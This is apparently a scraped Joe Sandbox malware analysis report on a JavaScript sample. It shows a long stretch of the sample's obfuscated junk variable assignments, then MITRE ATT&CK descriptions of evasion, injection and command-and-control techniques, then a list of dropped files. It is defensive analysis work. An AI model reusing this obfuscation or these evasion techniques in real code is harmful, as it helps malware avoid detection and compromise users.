601	gqaxlxak = "x";
602	gqaxlxak = "g";
603	gqaxlxak = "H";
604	gqaxlxak = "q";
605	gqaxlxak = "o";
606	gqaxlxak = "8";
607	ngjlrbida = "H";
608	ngjlrbida = "q";
609	ngjlrbida = "q";
610	ngjlrbida = "Q";
611	ngjlrbida = "b";
612	ngjlrbida = "w";
613	ngjlrbida = "H";
614	ngjlrbida = "R";
615	ngjlrbida = "X";
616	ngjlrbida = "w";
617	ngjlrbida = "r";
618	ngjlrbida = "p";
619	ngjlrbida = "k";
620	ngjlrbida = "I";
621	ngjlrbida = "T";
622	ngjlrbida = "u";
623	ngjlrbida = "f";
624	ngjlrbida = "v";
625	ngjlrbida = "w";
626	ngjlrbida = "Q";
627	ngjlrbida = "V";
628	ngjlrbida = "L";
629	ngjlrbida = "a";
630	ngjlrbida = "D";
631	ngjlrbida = "N";
632	ngjlrbida = "o";
633	ngjlrbida = "v";
634	ngjlrbida = "f";
635	ilxkksfob = "x";
636	ilxkksfob = "Z";
637	ilxkksfob = "L";
638	ilxkksfob = "X";
639	ilxkksfob = "b";
640	ilxkksfob = "j";
641	ilxkksfob = "T";
642	keuasfty = "r";
643	keuasfty = "u";
644	keuasfty = "i";
645	keuasfty = "a";
646	keuasfty = "p";
647	keuasfty = "X";
648	keuasfty = "w";
649	keuasfty = "h";
650	keuasfty = "I";
651	keuasfty = "S";
652	keuasfty = "a";
653	xfhtlo = "y";
654	xfhtlo = "Z";
655	xfhtlo = "e";
656	xfhtlo = "X";
657	xfhtlo = " ";
658	ovyqzn = "i";
659	ovyqzn = "B";
660	ovyqzn = "h";
661	ovyqzn = "M";
662	ovyqzn = "X";
663	ovyqzn = "F";
664	ovyqzn = "p";
665	ovyqzn = "x";
666	ovyqzn = "e";
667	ovyqzn = "B";
668	ovyqzn = "F";
669	ovyqzn = "R";
670	ovyqzn = "G";
671	ovyqzn = "t";
672	ovyqzn = "l";
673	ovyqzn = "W";
674	ovyqzn = "L";
675	ovyqzn = "j";
676	ovyqzn = "h";
677	ovyqzn = "I";
678	ovyqzn = "L";
679	ovyqzn = "-";
680	kqhfe = "N";
681	kqhfe = "m";
682	kqhfe = "d";
683	wbdhcjgwb = "w";
684	wbdhcjgwb = "s";
685	wbdhcjgwb = "W";
686	wbdhcjgwb = "w";
687	wbdhcjgwb = "b";
688	wbdhcjgwb = "r";
689	wbdhcjgwb = "m";
690	wbdhcjgwb = "N";
691	wbdhcjgwb = "L";
692	wbdhcjgwb = "H";
693	wbdhcjgwb = "a";
694	wbdhcjgwb = "r";
695	wbdhcjgwb = "Y";
696	wbdhcjgwb = "n";
697	wbdhcjgwb = "U";
698	wbdhcjgwb = "d";
699	wbdhcjgwb = "Q";
700	wbdhcjgwb = "a";
701	wbdhcjgwb = "k";
702	wbdhcjgwb = "c";
703	wbdhcjgwb = "W";
704	wbdhcjgwb = "q";
705	wbdhcjgwb = "D";
706	wbdhcjgwb = "s";
707	wbdhcjgwb = "q";
708	wbdhcjgwb = "e";
709	wbdhcjgwb = "j";
710	wbdhcjgwb = "e";
711	wbdhcjgwb = "t";
712	wbdhcjgwb = "a";
713	wbdhcjgwb = "e";
714	wbdhcjgwb = "K";
715	wbdhcjgwb = "e";
716	wbdhcjgwb = "R";
717	eataq = "x";
718	eataq = "v";
719	eataq = "%";
720	fgczl = "V";
721	fgczl = "b";
722	fgczl = "x";
723	fgczl = "y";
724	fgczl = "e";
725	fgczl = "z";
726	fgczl = "Q";
727	fgczl = "L";
728	fgczl = "L";
729	fgczl = "M";
730	fgczl = "H";
731	fgczl = "l";
732	fgczl = "t";
733	fgczl = "q";
734	fgczl = "L";
735	fgczl = "t";
736	fgczl = "R";
737	fgczl = "y";
738	fgczl = "V";
739	fgczl = "M";
740	fgczl = "B";
741	fgczl = "F";
742	fgczl = "e";
743	fgczl = "L";
744	fgczl = "Z";
745	fgczl = "Y";
746	fgczl = "l";
747	fgczl = "I";
748	fgczl = "b";
749	aqldyfbm = "G";
750	aqldyfbm = "t";
751	aqldyfbm = "h";
752	aqldyfbm = "V";
753	aqldyfbm = "M";
754	aqldyfbm = "X";
755	aqldyfbm = "f";
756	aqldyfbm = "S";
757	aqldyfbm = "O";
758	aqldyfbm = "G";
759	aqldyfbm = "v";
760	aqldyfbm = "Y";
761	aqldyfbm = "w";
762	aqldyfbm = "z";
763	aqldyfbm = "F";
764	aqldyfbm = "G";
765	aqldyfbm = "b";
766	aqldyfbm = "q";
767	aqldyfbm = "V";
768	aqldyfbm = "h";
769	aqldyfbm = "f";
770	aqldyfbm = "E";
771	aqldyfbm = "W";
772	aqldyfbm = "G";
773	aqldyfbm = "O";
774	aqldyfbm = "E";
775	aqldyfbm = "q";
776	aqldyfbm = "V";
777	aqldyfbm = "U";
778	aqldyfbm = "L";
779	aqldyfbm = "Q";
780	aqldyfbm = "C";
781	aqldyfbm = "n";
782	aqldyfbm = "U";
783	ijrie = "U";
784	ijrie = "l";
785	ijrie = "s";
786	ijrie = "p";
787	ijrie = "z";
788	ijrie = "r";
789	hpucqbxcw = "b";
790	hpucqbxcw = "F";
791	hpucqbxcw = "m";
792	hpucqbxcw = "o";
793	hpucqbxcw = "W";
794	hpucqbxcw = "P";
795	hpucqbxcw = "A";
796	hpucqbxcw = "Z";
797	hpucqbxcw = "y";
798	hpucqbxcw = "v";
799	hpucqbxcw = "K";
800	hpucqbxcw = "T";
801	hpucqbxcw = "k";
802	ruqqhqqy = "n";
803	ruqqhqqy = "a";
804	ruqqhqqy = "i";
805	ruqqhqqy = "C";
806	ruqqhqqy = "U";
807	ruqqhqqy = "p";
808	ruqqhqqy = "B";
809	ruqqhqqy = "V";
810	ruqqhqqy = "z";
811	ruqqhqqy = "W";
812	ruqqhqqy = "O";
813	ruqqhqqy = "o";
814	ruqqhqqy = "O";
815	ruqqhqqy = "H";
816	ruqqhqqy = "N";
817	ruqqhqqy = "P";
818	ruqqhqqy = "n";
819	ruqqhqqy = "F";
820	ruqqhqqy = "Q";
821	ruqqhqqy = "S";
822	ruqqhqqy = "I";
823	ruqqhqqy = "J";
824	ruqqhqqy = "q";
825	ruqqhqqy = "l";
826	ruqqhqqy = "i";
827	ruqqhqqy = "u";
828	ruqqhqqy = "O";
829	ruqqhqqy = "s";
830	ruqqhqqy = "C";
831	ruqqhqqy = "v";
832	ruqqhqqy = "R";
833	ruqqhqqy = "N";
834	ruqqhqqy = "2";
835	pieqgm = "n";
836	pieqgm = "V";
837	pieqgm = "c";
838	pieqgm = "Y";
839	pieqgm = "c";
840	pieqgm = "b";
841	pieqgm = "t";
842	gypaxatp = "H";
843	gypaxatp = "H";
844	gypaxatp = "N";
845	gypaxatp = "v";
846	gypaxatp = "W";
847	gypaxatp = "D";
848	gypaxatp = "P";
849	gypaxatp = "U";
850	gypaxatp = "B";
851	gypaxatp = "A";
852	gypaxatp = "M";
853	gypaxatp = "n";
854	gypaxatp = "N";
855	gypaxatp = "Q";
856	gypaxatp = "z";
857	gypaxatp = "G";
858	gypaxatp = "h";
859	gypaxatp = "l";
860	gypaxatp = "f";
861	gypaxatp = "O";
862	gypaxatp = "I";
863	zdpxq = "H";
864	zdpxq = "p";
865	zdpxq = "T";
866	zdpxq = "p";
867	zdpxq = "k";
868	zdpxq = "x";
869	zdpxq = "U";
870	zdpxq = "O";
871	zdpxq = "o";
872	zdpxq = "R";
873	zdpxq = "w";
874	zdpxq = "N";
875	wdpjsddgj = "B";
876	wdpjsddgj = "I";
877	wdpjsddgj = "E";
878	wdpjsddgj = "h";
879	wdpjsddgj = "F";
880	wdpjsddgj = "U";
881	wdpjsddgj = "X";
882	wdpjsddgj = "a";
883	wdpjsddgj = "w";
884	wdpjsddgj = "U";
885	wdpjsddgj = "p";
886	wdpjsddgj = "w";
887	wdpjsddgj = "e";
888	wdpjsddgj = "l";
889	wdpjsddgj = "d";
890	wdpjsddgj = "l";
891	wdpjsddgj = "o";
892	wdpjsddgj = "R";
893	wdpjsddgj = "Y";
894	wdpjsddgj = "b";
895	wdpjsddgj = "s";
896	wdpjsddgj = "p";
897	wdpjsddgj = "h";
898	wdpjsddgj = "M";
899	wdpjsddgj = "z";
900	wdpjsddgj = "Y";
901	wdpjsddgj = "G";
902	wdpjsddgj = "h";
903	wdpjsddgj = "p";
904	seidpfmq = "w";
905	seidpfmq = "q";
906	seidpfmq = "N";
907	seidpfmq = "Z";
908	seidpfmq = "y";
909	seidpfmq = "c";
910	seidpfmq = "e";
911	seidpfmq = "T";
912	seidpfmq = "C";
913	seidpfmq = "Y";
914	seidpfmq = "v";
915	seidpfmq = "I";
916	seidpfmq = "M";
917	seidpfmq = "J";
918	seidpfmq = "R";
919	seidpfmq = "g";
920	seidpfmq = "g";
921	seidpfmq = "O";
922	seidpfmq = "D";
923	seidpfmq = "B";
924	seidpfmq = "O";
925	seidpfmq = "i";
926	taqjlddu = "t";
927	taqjlddu = "s";
928	taqjlddu = "L";
929	taqjlddu = "t";
930	taqjlddu = "i";
931	taqjlddu = "x";
932	taqjlddu = "U";
933	taqjlddu = "S";
934	taqjlddu = "J";
935	taqjlddu = "j";
936	taqjlddu = "x";
937	taqjlddu = "s";
938	taqjlddu = "D";
939	taqjlddu = "T";
940	taqjlddu = "i";
941	taqjlddu = "U";
942	taqjlddu = "N";
943	taqjlddu = "U";
944	taqjlddu = "o";
945	taqjlddu = "p";
946	taqjlddu = "O";
947	taqjlddu = "v";
948	taqjlddu = "C";
949	taqjlddu = "L";
950	taqjlddu = "R";
951	taqjlddu = "S";
952	taqjlddu = "s";
953	taqjlddu = "\"";
954	ymfagg = "o";
955	ymfagg = "G";
956	ymfagg = "u";
957	ymfagg = "T";
958	ymfagg = "F";
959	ymfagg = "K";
960	ymfagg = "m";
961	ymfagg = "b";
962	ymfagg = "y";
963	ymfagg = "r";
964	ymfagg = "b";
965	ymfagg = "C";
966	ymfagg = "x";
967	ymfagg = ":";
968	xdvllhm = "m";
969	xdvllhm = "F";
970	xdvllhm = "y";
971	xdvllhm = "q";
972	xdvllhm = "G";
973	xdvllhm = "o";
974	xdvllhm = "M";
975	xdvllhm = "y";
976	xdvllhm = "h";
977	xdvllhm = "f";
978	xdvllhm = "G";
979	xdvllhm = "H";
980	xdvllhm = "E";
981	xdvllhm = "z";
982	xdvllhm = "L";
983	kuirk = "l";
984	kuirk = "y";
985	kuirk = "G";
986	kuirk = "h";
987	kuirk = "c";
988	kuirk = "z";
989	kuirk = "v";
990	kuirk = "s";
991	kuirk = "j";
992	kuirk = "K";
993	kuirk = "r";
994	kuirk = "L";
995	kuirk = "e";
996	kuirk = "O";
997	kuirk = "x";
998	kuirk = "P";
999	kuirk = "q";
1000	kuirk = "Z";
1001	kuirk = "T";
1002	kuirk = "h";
1003	kuirk = "Q";
1004	kuirk = "r";
1005	kuirk = "B";
1006	kuirk = "9";
1007	bejbwlsat = "l";
1008	bejbwlsat = "K";
1009	bejbwlsat = "F";
1010	bejbwlsat = "i";
1011	bejbwlsat = "j";
1012	bejbwlsat = "N";
1013	bejbwlsat = "O";
1014	bejbwlsat = "j";
1015	bejbwlsat = "B";
1016	bejbwlsat = "U";
1017	bejbwlsat = "G";
1018	bejbwlsat = "u";
1019	bejbwlsat = "d";
1020	bejbwlsat = "p";
1021	bejbwlsat = "G";
1022	bejbwlsat = "4";
1023	rnrqba = "e";
1024	rnrqba = "u";
1025	rnrqba = "d";
1026	rnrqba = "s";
1027	rnrqba = "M";
1028	rnrqba = "V";
1029	rnrqba = "F";
1030	rnrqba = "W";
1031	icewxuzq = "W";
1032	icewxuzq = "x";
1033	icewxuzq = "E";
1034	icewxuzq = "W";
1035	icewxuzq = "w";
1036	icewxuzq = "D";
1037	icewxuzq = "j";
1038	bjrsjzrz = "N";
1039	bjrsjzrz = "Y";
1040	bjrsjzrz = "u";
1041	bjrsjzrz = "G";
1042	bjrsjzrz = "G";
1043	bjrsjzrz = "P";
1044	bjrsjzrz = "l";
1045	bjrsjzrz = "C";
1046	bjrsjzrz = "c";
1047	bjrsjzrz = "l";
1048	bjrsjzrz = "n";
1049	fmzwpgbz = "n";
1050	fmzwpgbz = "b";
1051	fmzwpgbz = "E";
1052	fmzwpgbz = "T";
1053	fmzwpgbz = "Y";
1054	fmzwpgbz = "f";
1055	fmzwpgbz = "J";
1056	fmzwpgbz = "Z";
1057	fmzwpgbz = "b";
1058	fmzwpgbz = "K";
1059	fmzwpgbz = "i";
1060	fmzwpgbz = "X";
1061	fmzwpgbz = "u";
1062	fmzwpgbz = "S";
1063	fmzwpgbz = "X";
1064	fmzwpgbz = "y";
1065	fmzwpgbz = "i";
1066	fmzwpgbz = "t";
1067	fmzwpgbz = "M";
1068	fmzwpgbz = "N";
1069	fmzwpgbz = "s";
1070	tsncsrzp = "i";
1071	tsncsrzp = "r";
1072	tsncsrzp = "Q";
1073	tsncsrzp = "Y";
1074	tsncsrzp = "n";
1075	tsncsrzp = "S";
1076	tsncsrzp = "v";
1077	tsncsrzp = "i";
1078	tsncsrzp = "G";
1079	tsncsrzp = "N";
1080	tsncsrzp = "X";
1081	tsncsrzp = "z";
1082	tsncsrzp = "k";
1083	tsncsrzp = "K";
1084	tsncsrzp = "R";
1085	tsncsrzp = "B";
1086	tsncsrzp = "j";
1087	tsncsrzp = "g";
1088	tsncsrzp = "k";
1089	tsncsrzp = "z";
1090	tsncsrzp = "h";
1091	tsncsrzp = "v";
1092	tsncsrzp = "f";
1093	tsncsrzp = "z";
1094	tsncsrzp = ".";
1095	ptpbdnsu = "n";
1096	ptpbdnsu = "d";
1097	ptpbdnsu = "Z";
1098	ptpbdnsu = "i";
1099	ptpbdnsu = "R";
1100	ptpbdnsu = "f";
1101	ptpbdnsu = "i";
1102	ptpbdnsu = "g";
1103	ptpbdnsu = "Q";
1104	ptpbdnsu = "Z";
1105	ptpbdnsu = "C";
1106	ptpbdnsu = "m";
1107	ptpbdnsu = "a";
1108	ptpbdnsu = "T";
1109	ptpbdnsu = "S";
1110	jmpupxxfw = "P";
1111	jmpupxxfw = "h";
1112	jmpupxxfw = "F";
1113	jmpupxxfw = "e";
1114	jmpupxxfw = "M";
1115	jmpupxxfw = "U";
1116	jmpupxxfw = "Y";
1117	jmpupxxfw = "z";
1118	jmpupxxfw = "t";
1119	jmpupxxfw = "Z";
1120	jmpupxxfw = "j";
1121	jmpupxxfw = "n";
1122	jmpupxxfw = "b";
1123	jmpupxxfw = "P";
1124	jmpupxxfw = "y";
1125	jmpupxxfw = "c";
1126	jmpupxxfw = "L";
1127	jmpupxxfw = "s";
1128	jmpupxxfw = "Y";
1129	jmpupxxfw = "X";
1130	jmpupxxfw = "n";
1131	jmpupxxfw = "j";
1132	jmpupxxfw = "w";
1133	vixxoeki = "S";
1134	vixxoeki = "Y";
1135	vixxoeki = "K";
1136	vixxoeki = "O";
1137	vixxoeki = "e";
1138	vixxoeki = "B";
1139	vixxoeki = "h";
1140	vixxoeki = "J";
1141	vixxoeki = "S";
1142	vixxoeki = "Z";
1143	vixxoeki = "S";
1144	vixxoeki = "Z";
1145	vixxoeki = "D";
1146	vixxoeki = "m";
1147	vixxoeki = "U";
1148	vixxoeki = "w";
1149	vixxoeki = "K";
1150	vixxoeki = "u";
1151	vixxoeki = "l";
1152	pkephvsoc = "z";
1153	pkephvsoc = "J";
1154	pkephvsoc = "L";
1155	pkephvsoc = "a";
1156	pkephvsoc = "R";
1157	pkephvsoc = "m";
1158	pkephvsoc = "b";
1159	pkephvsoc = "t";
1160	pkephvsoc = "x";
1161	pkephvsoc = "O";
1162	pkephvsoc = "R";
1163	pkephvsoc = "b";
1164	pkephvsoc = "y";
1165	pkephvsoc = "k";
1166	pkephvsoc = "D";
1167	pkephvsoc = "D";
1168	pkephvsoc = "S";
1169	pkephvsoc = "l";
1170	pkephvsoc = "F";
1171	pkephvsoc = "z";
1172	pkephvsoc = "i";
1173	pkephvsoc = "A";
1174	pkephvsoc = "r";
1175	pkephvsoc = "Z";
1176	pkephvsoc = "y";
1177	pkephvsoc = "p";
1178	pkephvsoc = "p";
1179	pkephvsoc = "S";
1180	pkephvsoc = "y";
1181	pkephvsoc = "j";
1182	pkephvsoc = "M";
1183	pkephvsoc = "W";
1184	pkephvsoc = "n";
1185	pkephvsoc = "Z";
1186	pkephvsoc = "p";
1187	pkephvsoc = "A";
1188	pkephvsoc = "c";
1189	zguebrc = "T";
1190	zguebrc = "n";
1191	zguebrc = "f";
1192	zguebrc = "w";
1193	zguebrc = "q";
1194	zguebrc = "G";
1195	zguebrc = "H";
1196	zguebrc = "V";
1197	zguebrc = "Y";
1198	zguebrc = "B";
1199	zguebrc = "c";
1200	zguebrc = "Y";
1201	zguebrc = "f";
1202	zguebrc = "y";
1203	zguebrc = "_";
1204	ymaaw = "o";
1205	ymaaw = "U";
1206	ymaaw = "q";
1207	sgufyaz ( );	sgufyaz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2843421561127533345.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4920e2.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec7a7cbd-ba6b-4186-b824-c8e07542838d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\edd85c04-2001-4aff-9867-06e0bc79b908.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5492

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2843421561127533345.js